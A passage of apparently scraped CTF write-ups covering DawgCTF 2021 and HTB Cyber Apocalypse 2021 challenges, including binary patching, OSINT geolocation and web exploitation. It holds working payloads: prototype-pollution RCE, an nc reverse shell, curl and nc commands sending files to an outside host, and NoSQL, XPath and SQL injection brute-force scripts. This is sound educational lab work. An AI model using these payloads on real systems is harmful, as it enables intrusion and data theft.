Reversing the binary in Cutter, we can see a check for two arguments provided to the program, and another check if a variable is 0x40 to enter a block that looks like it will print the flag.\nif ((int32_t)argv \u0026lt; 3) { fcn.0041104b((int32_t)\u0026#34;Please supply input files to calculate\\n\u0026#34;, unaff_EDI); uVar1 = 0xffffffff; uVar3 = extraout_EDX; } else { var_ch = fcn.00411348(envp[1]); var_18h = fcn.00411348(envp[2]); fcn.0041104b((int32_t)\u0026#34;calculated: %d\\n\u0026#34;, var_ch * var_18h); uVar3 = extraout_EDX_00; if (var_ch * var_18h == 0x40) { fcn.004110fa(\u0026amp;var_120h, 0, 0x100); fcn.004111c2((int32_t)\u0026amp;var_120h); fcn.0041104b((int32_t)\u0026#34;final flag: %s\\n\u0026#34;, (int32_t)\u0026amp;var_120h); uVar3 = extraout_EDX_01; } uVar1 = 0; } Getting past the first check is simple, provide two arguments. For the second check though we could do one of two things. Either we reverse the whole application to figure out how to get that variable to be 0x40, or we can apply a binary patch to just flow there regardless of the variable values. Reading the assembly for the value comparison to 0x40 we see:\n0x00411bf2 add esp, 8 0x00411bf5 mov eax, dword [var_ch] 0x00411bf8 imul eax, dword [var_18h] 0x00411bfc cmp eax, 0x40 ; 64 0x00411bff jne 0x411c3a The jne (jump not equal) can be changed to je (jump equal). Cutter makes this super simple. Right click the instruction in the disassembly view and edit it. You can actually do this in the decompiler view as well. Crazy powerful.\n  Copy the modified binary you opened in Cutter to a Windows VM and watch the flag get spewed out.\n  Flag: final flag: DawgCTF{c4LcU14T0r_64}.\nreversing - back to the lab 1  Category: Reversing Points: 150 Files: labVIEW vi file   We\u0026rsquo;ve gotten hold of the plant control program, but the MELTDOWN button is locked. Figure out the flag and press the button! Note: To run the program, you\u0026rsquo;ll have to press the Run button in the upper left of the window. Press the Abort button to stop it. Note: To run the program, you\u0026rsquo;ll need some rather expensive software; look for the \u0026ldquo;community edition\u0026rdquo;, it\u0026rsquo;s free. It\u0026rsquo;s bulky, so maybe consider installing on a VM. Author: nb\n The file we got was not something I was familiar with. Figuring out what can read a .vi file, I strings the file, and Google a printable part of the header I get.\n  The challenge hinted towards a community edition, so I got a copy of it here. A 2GB download and installation that took forever later, I could open the file we got.\n  At first glance this looked like it could be some ICS related reversing challenge. I have never used (or heard of) this application before, so I took quite a bit to figure out how to use it. Eventually I found the \u0026ldquo;source\u0026rdquo; (don\u0026rsquo;t even know if that is what you\u0026rsquo;d call it, but whatever) by right clicking one of the widgets and clicking \u0026ldquo;Find Terminal\u0026rdquo;.\n  That dropped me into a sort-of visual editor.\n  After a significant amount of time I got used to reading it, right-clicking things to see what the different widgets meant and following the paths of the connected parts to see how data flows from the initial flag field in the upper left corner. There were two loops that processed parts of the string you\u0026rsquo;d input as the flag. Those would eventually end up in a And operation that would light up the thingy that indicated you had the correct flag.\nThe debugger was the trickiest to figure out. You could right-click a widget and set a breakpoint. Once you run the thing (application? I honestly don\u0026rsquo;t know what you\u0026rsquo;d call this thing haha), execution would pause much like you\u0026rsquo;d expect a traditional debugger to do. The thing was though, where the heck do you see the values in the different flows. Turns out, when you click this tiny \u0026ldquo;retain wire values\u0026rdquo; button, you can hover over the different links to see the current values in a \u0026ldquo;Probe Window\u0026rdquo;.\n  Being able to see the values as you step though the schematic made it easier for me to reimplement the operations performed on the input data, in reverse in a tiny Python script.\n  C1 = \u0026#34;AdrbFQC~hwZGPWK0Zop\u0026#34; C2 = \u0026#34;s:)DHK8Uj\u0026amp;]Uj+\u0026#34; p1 = [chr(ord(x) ^ 5) for x in C1] p2 = [chr(ord(x) + 10) for x in C2][::-1] print(\u0026#34;\u0026#34;.join(p1 + p2)) Flag: DawgCTF{mr_BURN5_ju5t_g0t_BURN3D}\nmisc - identifications  Category: Miscellaneous Points: 125 Files: Two images   Hey man. I\u0026rsquo;m standing in front of this Verizon central office building. What\u0026rsquo;s its CLLI code?\nWhat? No, I don\u0026rsquo;t know where I am, my GPS is broken. I tried to connect to some Wi-Fi so I could download a map or something, but I don\u0026rsquo;t know the password to any of these networks.\nidentifications.7z: https://drive.google.com/file/d/1YkzVIwbNKWKG4I0K8F_J8DCC9mqBn2ET/view?usp=sharing\nOnce you figure out the CLLI code, make sure to wrap it in DawgCTF{}.\nAuthor: nb\n We get two images to start and talk of a CLLI. A quick Google reveals that CLLI\u0026rsquo;s are codes used to ID telco sites in the US.\n    The second image has some output on a device that shows wireless network in the area. So, using WiGLE I search for DC:9F:DB:F5:68:93 (first network in the list) and find a location. Opening the location on Google maps with street view, I pinpoint exactly where that building in the image is.\nhttps://www.google.com/maps/@39.367583,-77.1647889,3a,75y,114.95h,76.63t/data=!3m6!1e1!3m4!1suVXHOWHg8__NiAn8G56x2A!2e0!7i13312!8i6656\nThe address appears to be:\n1305 MD-808 Mt Airy, Maryland The next part was to find how to lookup CLLI\u0026rsquo;s given that I know the address now. I found this URL after using the search term verizon \u0026quot;clli\u0026quot; mt airy which revealed MTARMDMARS1 as the CLLI for the site.\nFlag: DawgCTF{MTARMDMARS1}\n","permalink":"https://leonjza.github.io/blog/2021/05/09/dawgctf-2021/","summary":"foreword DawgCTF 20201 was the first CTF I played together with some local people much smarter than me over at Hack South. We managed to grab 28th place too.\n  I only solved three challenges with the time I had in the morning (of which one was a dupe because reading is hard :P).\nsolutions reversing - calculator  Category: Reversing Points: 50 Files: Windows PE  This was the duplicate challenge, but I\u0026rsquo;m writing up how I did it anyways.","title":"DawgCTF 2021"},{"content":"  foreword The HTB Cyber Apocalypse 2021 event was a nice and polished CTF. Apart from the usual start time load issues, everything ran pretty smoothly with nearly zero issues my side. Kudo\u0026rsquo;s HTB! Here are the solutions for the ~20 challenges I managed to solve.\nsolutions category - web - BlitzProp  Category: Web Difficulty: 1/4 Files: Web app source \u0026amp; build env    The challenge landing page already had a hint in the \u0026ldquo;ASTa la vista baby\u0026rdquo; song. Checking out the challenge source, the interesting code might not be immediately obvious.\n// file challenge/routes/index.js  const path = require(\u0026#39;path\u0026#39;); const express = require(\u0026#39;express\u0026#39;); const pug = require(\u0026#39;pug\u0026#39;); const { unflatten } = require(\u0026#39;flat\u0026#39;); const router = express.Router(); // ... snip ...  router.post(\u0026#39;/api/submit\u0026#39;, (req, res) =\u0026gt; { const { song } = unflatten(req.body); // \u0026lt;-- #1  if (song.name.includes(\u0026#39;Not Polluting with the boys\u0026#39;) || song.name.includes(\u0026#39;ASTa la vista baby\u0026#39;) || song.name.includes(\u0026#39;The Galactic Rhymes\u0026#39;) || song.name.includes(\u0026#39;The Goose went wild\u0026#39;)) { return res.json({ \u0026#39;response\u0026#39;: pug.compile(\u0026#39;span Hello #{user}, thank you for letting us know!\u0026#39;)({ user:\u0026#39;guest\u0026#39; }) }); // \u0026lt;-- #2  } else { return res.json({ \u0026#39;response\u0026#39;: \u0026#39;Please provide us with the name of an existing song.\u0026#39; }); } }); module.exports = router; The interesting calls are to unflatten() (#1) which (potentially) contains a prototype pollution vuln and to pug.compile() (#2). At first glance the pug.compile() call seems fine as you don\u0026rsquo;t control the user that gets passed in. However, combined with a prototype pollution, we can perform some AST injection in pug! We just need to pollute Object.__proto__.block so that pug.compile() interprets block.line.\nPoC Request:\nPOST /api/submit HTTP/1.1 Host: 138.68.147.232:32661 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://138.68.147.232:32661/ Content-Type: application/json Origin: http://138.68.147.232:32661 Content-Length: 22 Connection: close { \u0026#34;song.name\u0026#34;:\u0026#34;asdasd\u0026#34;, \u0026#34;Object.__proto__.block\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;Text\u0026#34;, \u0026#34;line\u0026#34;: \u0026#34;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(`$command`)\u0026#34; } } Command execution was blind, so I ran commands redirecting output to a file in the static folder, requesting that from the web server afterwards. So to get the flag using the PoC, I first ran ls / \u0026gt; /app/static/out.txt.\n  And then cat /flagk5NDpd.\n  Flag: CHTB{p0llute_with_styl3}\n- Inspector Gadget  Category: Web Difficulty: 1/4 Files: None  For this challenge, you just had to poke around in the console to reveal parts of the flag.\n      Flag: CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}\n- Daas  Category: Web Difficulty: 1/4 Files: None  Fuzzing this challenge you\u0026rsquo;d realise it’s a Laravel app with debug mode enabled. A recent publication revealed how to get RCE via Ignition (the fancy debug helper used in Laravel helps). I used this exploit for RCE: https://github.com/ambionics/laravel-exploits\n  I created a .phar file with phpggc to run nc \u0026lt;ip\u0026gt; 4444 -e /bin/bash to get a shell (didn\u0026rsquo;t really need this but whatever). Finding the flag was easy with that though.\n  Flag: CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}\n- MiniSTRyplace  Category: Web Difficulty: 1/4 Files: Web app source \u0026amp; build env  Reviewing the index.php file you\u0026rsquo;d see a classic include() call with some simple filtering where ../ is removed. To bypass it, just use ....//.\n\u0026lt;html\u0026gt; // ... snip ...  \u0026lt;?php $lang = [\u0026#39;en.php\u0026#39;, \u0026#39;qw.php\u0026#39;]; include(\u0026#39;pages/\u0026#39; . (isset($_GET[\u0026#39;lang\u0026#39;]) ? str_replace(\u0026#39;../\u0026#39;, \u0026#39;\u0026#39;, $_GET[\u0026#39;lang\u0026#39;]) : $lang[array_rand($lang)])); ?\u0026gt;\u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; To get the flag, set lang to GET /?lang=....//....//....//....//....//....//....//....//....//....//flag\nFlag: CHTB{b4d_4li3n_pr0gr4m1ng}\n- Caas  Category: Web Difficulty: 2/4 Files: Web app source \u0026amp; build env  A slightly more complex web app, but the interesting code was in challenge/models/CommandModel.php.\n\u0026lt;?php class CommandModel { public function __construct($url) { $this-\u0026gt;command = \u0026#34;curl -sL \u0026#34; . escapeshellcmd($url); } public function exec() { exec($this-\u0026gt;command, $output); return $output; } } escapeshellcmd() may seem scary here, but it provides nothing in terms of security when just appending to a command like curl. They provide curl -sL , so with a POST request we append -F data=@/flag http://host to have the curl command post the /flag file to our host.\n    Flag: CHTB{f1le_r3trieval_4s_a_s3rv1ce}\n- Wild Goose Hunt  Category: Web Difficulty: 2/4 Files: Web app source \u0026amp; build env  A code review shows mongoose is in use, and the login endpoint does not sanitize user credentials.\n// file challenge/models/User.js  const mongoose = require(\u0026#39;mongoose\u0026#39;); const Schema = mongoose.Schema; let User = new Schema({ username: { type: String }, password: { type: String } }, { collection: \u0026#39;users\u0026#39; }); module.exports = mongoose.model(\u0026#39;User\u0026#39;, User); // challenge/routes/index.js  const express = require(\u0026#39;express\u0026#39;); const router = express.Router(); const User = require(\u0026#39;../models/User\u0026#39;); // ... snip ...  router.post(\u0026#39;/api/login\u0026#39;, (req, res) =\u0026gt; { let { username, password } = req.body; if (username \u0026amp;\u0026amp; password) { return User.find({ username, password }) .then((user) =\u0026gt; { if (user.length == 1) { return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` }); } else { return res.json({logged: 0, message: \u0026#39;Login Failed\u0026#39;}); } }) .catch(() =\u0026gt; res.json({ message: \u0026#39;Something went wrong\u0026#39;})); } return res.json({ message: \u0026#39;Invalid username or password\u0026#39;}); }); module.exports = router; Using username=admin\u0026amp;password[$ne]= as credentials would log you in as the password is obviously not empty :P\n  Instead of using $ne, we can use $regex to match a part of the password in a loop in a script. If the regex matches we\u0026rsquo;ll be logged in, if not we\u0026rsquo;ll get Login Failed. My script to pwn the password (and get the flag) was:\nimport requests import string burp0_url = \u0026#34;http://178.62.113.165:31453/api/login\u0026#34; burp0_headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.5\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://178.62.113.165:31453/\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded;charset=UTF-8\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://178.62.113.165:31453\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34; } password = \u0026#34;CHTB{\u0026#34; while True: for c in string.ascii_lowercase + string.digits + \u0026#34;_\u0026#34; + \u0026#34;}\u0026#34;: if c in [\u0026#39;*\u0026#39;,\u0026#39;+\u0026#39;,\u0026#39;.\u0026#39;,\u0026#39;?\u0026#39;,\u0026#39;|\u0026#39;]: continue tpass = f\u0026#34;{password}{c}\u0026#34; print(f\u0026#34;trying: {tpass}\u0026#34;) burp0_data = {\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;password[$regex]\u0026#34;: f\u0026#34;^{tpass}\u0026#34;} r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) if \u0026#34;Login Successful\u0026#34; in r.text: password = tpass print(f\u0026#34;password: {tpass}\u0026#34;) if \u0026#34;}\u0026#34; in tpass: print(f\u0026#34;flag: {tpass}\u0026#34;) Flag: CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}\n- E.Tree  Category: Web Difficulty: 2/4 Files: XML file  XPath injection. Urgh. We get an XML file with two staff keys that also have a selfDestructCode key with the CHTB{ flag format.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; \u0026lt;military\u0026gt; \u0026lt;district id=\u0026#34;confidential\u0026#34;\u0026gt; \u0026lt;staff\u0026gt; \u0026lt;name\u0026gt;staff1\u0026lt;/name\u0026gt; \u0026lt;age\u0026gt;confidential\u0026lt;/age\u0026gt; \u0026lt;rank\u0026gt;confidential\u0026lt;/rank\u0026gt; \u0026lt;kills\u0026gt;confidential\u0026lt;/kills\u0026gt; \u0026lt;/staff\u0026gt; // ... snip ... \u0026lt;/district\u0026gt; \u0026lt;district id=\u0026#34;confidential\u0026#34;\u0026gt; \u0026lt;staff\u0026gt; \u0026lt;name\u0026gt;staff13\u0026lt;/name\u0026gt; \u0026lt;age\u0026gt;confidential\u0026lt;/age\u0026gt; \u0026lt;rank\u0026gt;confidential\u0026lt;/rank\u0026gt; \u0026lt;kills\u0026gt;confidential\u0026lt;/kills\u0026gt; \u0026lt;selfDestructCode\u0026gt;CHTB{f4k3_fl4g\u0026lt;/selfDestructCode\u0026gt; \u0026lt;/staff\u0026gt; \u0026lt;/district\u0026gt; \u0026lt;district id=\u0026#34;confidential\u0026#34;\u0026gt; \u0026lt;staff\u0026gt; \u0026lt;name\u0026gt;confidential\u0026lt;/name\u0026gt; \u0026lt;age\u0026gt;confidential\u0026lt;/age\u0026gt; \u0026lt;rank\u0026gt;confidential\u0026lt;/rank\u0026gt; \u0026lt;kills\u0026gt;confidential\u0026lt;/kills\u0026gt; \u0026lt;selfDestructCode\u0026gt;_f0r_t3st1ng}\u0026lt;/selfDestructCode\u0026gt; \u0026lt;/staff\u0026gt; \u0026lt;/district\u0026gt; \u0026lt;/military\u0026gt; Sending a single quote ' in the search param reveals that the XML could not be evaluated with an lxml.etree.XPathEvalError. If the search was successful, the app would respond with This millitary staff member exists..\n  My XPath is terrible, so I wrote a script to test expressions.\nfrom lxml import etree import sys # \u0026#39; or substring(//*/selfDestructCode,1,1)=C and \u0026#39;1 # ((//staff[selfDestructCode])[1])[starts-with(selfDestructCode, \u0026#39;C\u0026#39;)] q = f\u0026#34;.//*[name=\u0026#39;{sys.argv[1]}\u0026#39;]\u0026#34; #q = f\u0026#39;{sys.argv[1]}\u0026#39; print(f\u0026#39;q: {q}\u0026#39;) root = etree.parse(\u0026#39;military.xml\u0026#39;) res = root.xpath(q) try: iterator = iter(res) except TypeError: print(res) else: for r in res: print(etree.tostring(r, pretty_print=True)) My final payload was x' or ((//staff[selfDestructCode])[1])[starts-with(selfDestructCode, 'C')] or name='x where 1 was the first selfDestructCode match and C the first character of the flag. My pwn script needed to have the position modified to target each selfDestructCode, but that was a minor problem.\nimport requests import string burp0_url = \u0026#34;http://178.62.70.150:30594/api/search\u0026#34; burp0_headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.5\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://178.62.70.150:30594/\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://178.62.70.150:30594\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34; } #flag = \u0026#34;CHTB{\u0026#34; #flag = \u0026#34;CHTB{Th3\u0026#34; #flag = \u0026#34;CHTB{Th3_3xTr4_l3v3l_\u0026#34; flag = \u0026#34;\u0026#34; #flag = \u0026#34;4Cc3s\u0026#34; #flag = \u0026#34;4Cc3s$\u0026#34; #flag = \u0026#34;4Cc3s$_c0nTr0l}\u0026#34; code_pos = 2 while True: for c in string.printable: if c in [\u0026#39;\\\u0026#39;\u0026#39;]: continue attempt = f\u0026#39;{flag}{c}\u0026#39; print(f\u0026#39;flag: {flag}, trying: {attempt}\u0026#39;) burp0_json={\u0026#34;search\u0026#34;: f\u0026#34;x\u0026#39; or ((//staff[selfDestructCode])[{code_pos}])[starts-with(selfDestructCode, \u0026#39;{attempt}\u0026#39;)] or name=\u0026#39;x\u0026#34;} res = requests.post(burp0_url, headers=burp0_headers, json=burp0_json) if \u0026#34;This millitary staff member exists.\u0026#34; in res.text: flag = attempt break Flag: CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}\n- The Galactic Times  Category: Web Difficulty: 2/4 Files: Web app source \u0026amp; build env  I think this challenge was broken. I spent a bunch of time on an XSS vector to get the the /alien endpoint to leak the flag via the Chrome session driven with puppeteer, until I noticed that there was also an alien.html in the static/ directory with the flag. lol\nThe /alien endpoint looked as follows:\nconst bot = require(\u0026#39;../bot\u0026#39;); let db; async function router (fastify, options) { // ... snip ...  fastify.get(\u0026#39;/alien\u0026#39;, async (request, reply) =\u0026gt; { if (request.ip != \u0026#39;127.0.0.1\u0026#39;) { return reply.code(401).send({ message: \u0026#39;Only localhost is allowed\u0026#39;}); } return reply.sendFile(\u0026#39;alien.html\u0026#39;); }); // ... snip ... } module.exports = database =\u0026gt; { db = database; return router; };     Flag: CHTB{th3_wh1t3l1st3d_CND_str1k3s_b4ck}\n- emoji voting  Category: Web Difficulty: 2/4 Files: Web app source \u0026amp; build env  First, take a moment to appreciate this landing page :D\n  The list endpoint had an order parameter which defaulted to count DESC. However, this value flowed into a raw database query (#1).\nconst sqlite = require(\u0026#39;sqlite-async\u0026#39;); const crypto = require(\u0026#39;crypto\u0026#39;); class Database { constructor(db_file) { this.db_file = db_file; this.db = undefined; } // ... snip ...  async getEmojis(order) { // TOOD: add parametrization  return new Promise(async (resolve, reject) =\u0026gt; { try { let query = `SELECT * FROM emojis ORDER BY ${ order }`; // \u0026lt;-- #1  resolve(await this.db.all(query)); } catch(e) { reject(e); } }); } } module.exports = Database; ORDER BY injections are a little tricky, and by default it looked like sqlmap did not detect this automatically. I took a little bit of time to try and get sqlmap to detect \u0026amp; pwn it, but did not win. This is totally something that I think I should try and add. Anyways, I wrote a custom script instead. To help understand the query, checkout this post.\nTo get the flag we needed to enum two values. The database table name where the flag is stored, and the flag itself. The table name was being randomised, as you’d see in the flag_${ rand }; references where ${rand} was a JavaScript variable.\nDROP TABLE IF EXISTS emojis; DROP TABLE IF EXISTS flag_${ rand }; CREATE TABLE IF NOT EXISTS flag_${ rand } ( flag TEXT NOT NULL ); INSERT INTO flag_${ rand } (flag) VALUES (\u0026#39;CHTB{f4k3_fl4g_f0r_t3st1ng}\u0026#39;); CREATE TABLE IF NOT EXISTS emojis ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, emoji VARCHAR(255), name VARCHAR(255), count INTEGERT ); INSERT INTO emojis (emoji, name, count) VALUES (\u0026#39;👽\u0026#39;, \u0026#39;alien\u0026#39;, 13), (\u0026#39;🛸\u0026#39;, \u0026#39;flying saucer\u0026#39;, 3), (\u0026#39;👾\u0026#39;, \u0026#39;alien monster\u0026#39;, 0), (\u0026#39;💩\u0026#39;, \u0026#39;👇 = human\u0026#39;, 118), (\u0026#39;🚽\u0026#39;, \u0026#39;👇 = human\u0026#39;, 19), (\u0026#39;🪠\u0026#39;, \u0026#39;👇 = human\u0026#39;, 2), (\u0026#39;🍆\u0026#39;, \u0026#39;eggplant\u0026#39;, 69), (\u0026#39;🍑\u0026#39;, \u0026#39;peach\u0026#39;, 40), (\u0026#39;🍌\u0026#39;, \u0026#39;banana\u0026#39;, 21), (\u0026#39;🐶\u0026#39;, \u0026#39;dog\u0026#39;, 80), (\u0026#39;🐷\u0026#39;, \u0026#39;pig\u0026#39;, 37), (\u0026#39;👨\u0026#39;, \u0026#39;homo idiotus\u0026#39;, 124) My SQL injection payload was (CASE WHEN(SELECT SUBSTR(tbl_name, {pos}, 1) FROM sqlite_master WHERE type='table' and tbl_name like 'flag%')='{c}' THEN emoji ELSE id END) ASC where pos was the character position and c the character I was brute forcing. If char c at position pos was correct, the results would have been sorted by emojis, and if not, sorted by id. This was the oracle used to determine true/false values and ultimately leak the table and flag values.\nI used two slightly modified scripts to use different character sets. The table rand value was hex only, the flag was a larger set. The payload was also slightly different once the table name was known.\n# file pwn_table.py import requests import string burp0_url = \u0026#34;http://46.101.80.23:31737/api/list\u0026#34; burp0_cookies = {\u0026#34;PHPSESSID\u0026#34;: \u0026#34;2fb52e27704a6f06e7b528f47df0dfd9\u0026#34;} burp0_headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.5\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://46.101.23.157:30629/\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://46.101.23.157:30629\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34; } table_name = () # eventually: flag_5d02dc7099  pos = 1 def is_true(r): return r.json()[0][\u0026#39;id\u0026#39;] == 7 def is_false(r): return r.json()[0][\u0026#39;id\u0026#39;] == 1 while True: for c in \u0026#34;a\u0026#34; + \u0026#34;b\u0026#34; + \u0026#34;c\u0026#34; + \u0026#34;d\u0026#34; + \u0026#34;e\u0026#34; + \u0026#34;f\u0026#34; + \u0026#34;l\u0026#34; + \u0026#34;g\u0026#34; + \u0026#34;_\u0026#34; + string.digits: print(f\u0026#39;have: {\u0026#34;\u0026#34;.join(table_name)}=\u0026gt; trying: {c}\u0026#39;) query = f\u0026#34;(CASE WHEN(SELECT SUBSTR(tbl_name, {pos}, 1) FROM sqlite_master WHERE type=\u0026#39;table\u0026#39; and tbl_name like \u0026#39;flag%\u0026#39;)=\u0026#39;{c}\u0026#39; THEN emoji ELSE id END) ASC\u0026#34; burp0_json={ \u0026#34;order\u0026#34;: query } res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json) if is_true(res): table_name = table_name + (c,) pos+=1 continue import requests import string import sys burp0_url = \u0026#34;http://46.101.23.157:30629/api/list\u0026#34; burp0_cookies = {\u0026#34;PHPSESSID\u0026#34;: \u0026#34;2fb52e27704a6f06e7b528f47df0dfd9\u0026#34;} burp0_headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-US,en;q=0.5\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://46.101.23.157:30629/\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://46.101.23.157:30629\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34; } flag = () pos = 1 def is_true(r): return r.json()[0][\u0026#39;id\u0026#39;] == 7 def is_false(r): return r.json()[0][\u0026#39;id\u0026#39;] == 1 while True: for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation: if len(c.strip()) \u0026lt;= 0 or c in [\u0026#39;\\\u0026#39;\u0026#39;]: continue print(f\u0026#39;pos: {pos}=\u0026gt; have: {\u0026#34;\u0026#34;.join(flag)}=\u0026gt; trying: {c}\u0026#39;) query = f\u0026#34;(CASE WHEN(SELECT SUBSTR(flag, {pos}, 1) FROM flag_5d02dc7099 LIMIT 1)=\u0026#39;{c}\u0026#39; THEN emoji ELSE id END) ASC;\u0026#34; burp0_json={ \u0026#34;order\u0026#34;: query } res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json) if is_true(res): flag = flag + (c,) pos+=1 continue if \u0026#39;}\u0026#39; in \u0026#39;\u0026#39;.join(flag): print(f\u0026#39;flag: {\u0026#34;\u0026#34;.join(flag)}\u0026#39;) sys.exit(0) Flag: CHTB{order_me_this_juicy_info}\n- Starfleet  Category: Web Difficulty: 3/4 Files: Web app source \u0026amp; build env  A field was expecting an email address to send an email to, enrolling you to the starfleet academy. A code review showed that the email address was populated in a string, and nunjucks used to render template (#1) in what looked like a typical template injection.\nconst nodemailer = require(\u0026#39;nodemailer\u0026#39;); const nunjucks = require(\u0026#39;nunjucks\u0026#39;); module.exports = { async sendEmail(emailAddress) { return new Promise(async (resolve, reject) =\u0026gt; { try { let message = { to: emailAddress, subject: \u0026#39;Enrollment is now under review ✅\u0026#39;, }; if (process.env.NODE_ENV === \u0026#39;production\u0026#39; ) { let gifSrc = \u0026#39;minimakelaris@hackthebox.eu\u0026#39;; // #1  message.html = nunjucks.renderString(` \u0026lt;p\u0026gt;\u0026lt;b\u0026gt;Hello\u0026lt;/b\u0026gt; \u0026lt;i\u0026gt;${ emailAddress }\u0026lt;/i\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;A cat has been deployed to process your submission 🐈\u0026lt;/p\u0026gt;\u0026lt;br/\u0026gt; \u0026lt;img width=\u0026#34;500\u0026#34; height=\u0026#34;350\u0026#34; src=\u0026#34;cid:{{ gifSrc }}\u0026#34;/\u0026gt;\u0026lt;/p\u0026gt; `, { gifSrc } ); message.attachments = [ { filename: \u0026#39;minimakelaris.gif\u0026#39;, path: __dirname + \u0026#39;/../assets/minimakelaris.gif\u0026#39;, cid: gifSrc } ]; let transporter = nodemailer.createTransport({ host: \u0026#39;smtp.gmail.com\u0026#39;, port: 465, secure: true, auth: { user: \u0026#39;cbctf.2021.web.newjucks@gmail.com\u0026#39;, pass: \u0026#39;[REDACTED]\u0026#39;, }, logger: true }); transporter.sendMail(message); transporter.close(); resolve({ response: \u0026#39;The email has been sent\u0026#39; }); // ... snip ...  } catch(e) { reject({ response: \u0026#39;Something went wrong\u0026#39;, \u0026#39;err\u0026#39;: e, \u0026#39;err.msg\u0026#39;: e.message }); } }) } }; This post described pretty much exactly that. In our case the injection was blind, and an email address was always required. Thankfully we could specify template tags ({{ }}) after an email address to bypass that validation, while injecting a shell command.\nThe challenge flag was protected but made available through a binary at /readflag (a simple setuid bin that would just cat the protected flag). I\u0026rsquo;m not sure why that effort was made, as the method I used meant I could run any OS command. Anyways. My final request looked like this:\nPOST /api/enroll HTTP/1.1 Host: 138.68.178.56:32689 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://138.68.178.56:32689/ Content-Type: application/json Origin: http://138.68.178.56:32689 Content-Length: 169 Connection: close {\u0026#34;email\u0026#34;:\u0026#34;leon@leon {{ range.constructor(\\\u0026#34;console.log(global.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;/readflag | nc \u0026lt;host\u0026gt; 4444\u0026#39;).toString())\\\u0026#34;)() }}\u0026#34;}   Flag: CHTB{I_can_f1t_my_p4yl04ds_3v3rywh3r3!}\ncategory - reversing - Authenticator  Category: Reversing Difficulty: 1/4 Files: ELF 64-bit LSB pie executable  Running the program you have to enter an Alien ID, which could be retrieved in a dissasembler as an argument passed to strcmp()\n    Entering 11337 would then prompt for a Pin:.\nA function called checkpin() took the input you entered at the Pin: prompt, and ran an XOR 9 operation over each character, checking that the character matched a value in the al register.\n  To test what the values were being compared to, I added a breakpoint before the cmp BYTE PTR [rbp-0x1d], al operation and printed the register. Having entered a long string at the Pin: prompt, I also set the value in the al register to the expected value to see what future correct values were.\n  Using the jsdec decompiler in Cutter, I also saw the string that was being compared to after running the XOR operation on the input 